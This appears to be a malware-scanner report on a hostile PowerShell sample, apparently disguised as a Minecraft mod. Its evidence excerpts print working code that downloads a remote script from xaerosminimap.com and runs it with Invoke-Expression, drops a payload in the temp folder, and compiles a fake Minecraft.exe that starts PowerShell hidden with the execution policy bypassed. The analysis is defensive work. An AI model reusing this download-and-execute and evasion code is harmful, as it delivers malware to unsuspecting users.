Hostile 94% powershell Download

mod.ps1

PowerShell executable name or command optionsContent member after closing parenthesis
SHA-256040c8aa0ba0303ac246a0d3ef4d3dd01156a1b2610712cf36e3bfefb5f0afdbd

Evidence

Calls PowerShell Add-Content lines 1–6
1$ErrorActionPreference = 'Stop'
2
3$Log = Join-Path (Get-Location) 'pinger.log'
4function _log($m) { try { Add-Content -Path $Log -Value ('[' + (Get-Date -Format 'yyyy-MM-dd HH:mm:ss') + '] ' + $m) } catch {} }
5
6# ============================== …
References Invoke-WebRequest URI parameter lines 13–31
13:10… t "payload: running elevated"
14Write-Host ("payload: user = " + $env:USERNAME)
15Write-Host ("payload: cwd = " + (Get-Location).Path)
16
17$Url = 'https://xaerosminimap.com/load.ps1'
18Write-Host ("payload: fetching " + $Url)
19
20try {
21 $src = (Invoke-WebRequest -Uri $Url -UseBasicParsing -TimeoutSec 30).Content
22 Write-Host ("payload: fetched {0} bytes" -f $src.Length)
23 Write-Host "payload: executing"
24 Invoke-Expression $src
25 Write-Host "payload: done"
26} catch {
27 Write-Host ("payload: fetch/exec failed: " + $_.Exception.Message)
28 exit 1
29}
30'@
31# ======================================== …
TEMP path names a script file lines 33–41
33:17… ps1 (server, self) -----'
34try { Add-Content -Path $Log -Value ([IO.File]::ReadAllText($MyInvocation.MyCommand.Path)) } catch { _log 'mod.ps1: could not read self' }
35_log '----- end mod.ps1 -----'
36
37# Write the payload to %TEMP%\payload.ps1
38$PayloadPath = Join-Path $env:TEMP 'payload.ps1'
39[IO.File]::WriteAllText($PayloadPath, $Payload, (New-Object System.Text.UTF8Encoding $false))
40_log '----- payload.ps1 (inlined) -----'
41Add-Content -P …
PowerShell executable name or command options lines 72–79
72:68… ry());
73
74 var psi = new ProcessStartInfo(
75 "powershell.exe",
76 "-NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File \"" + payload + "\"");
77 psi.UseShellExecute = false;
78 psi.RedirectStandardOutput = true;
79 psi.Red …
PowerShell creates a directory with New-Item lines 89–103
89:15… sh();
90 Log(log, "helper: payload exited with code " + p.ExitCode);
91 Environment.Exit(p.ExitCode);
92 }
93}
94'@
95
96$Tmp = Join-Path $env:TEMP ('mc_' + [Guid]::NewGuid().ToString('N'))
97New-Item -ItemType Directory -Path $Tmp -Force | Out-Null
98$Exe = Join-Path $Tmp 'Minecraft.exe'
99
100try {
101 Add-Type -TypeDefinition $Cs -OutputAssembly $Exe -OutputType ConsoleApplication -ReferencedAssemblies System.dll
102} catch {
103 $Src = Join-Path $Tmp …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.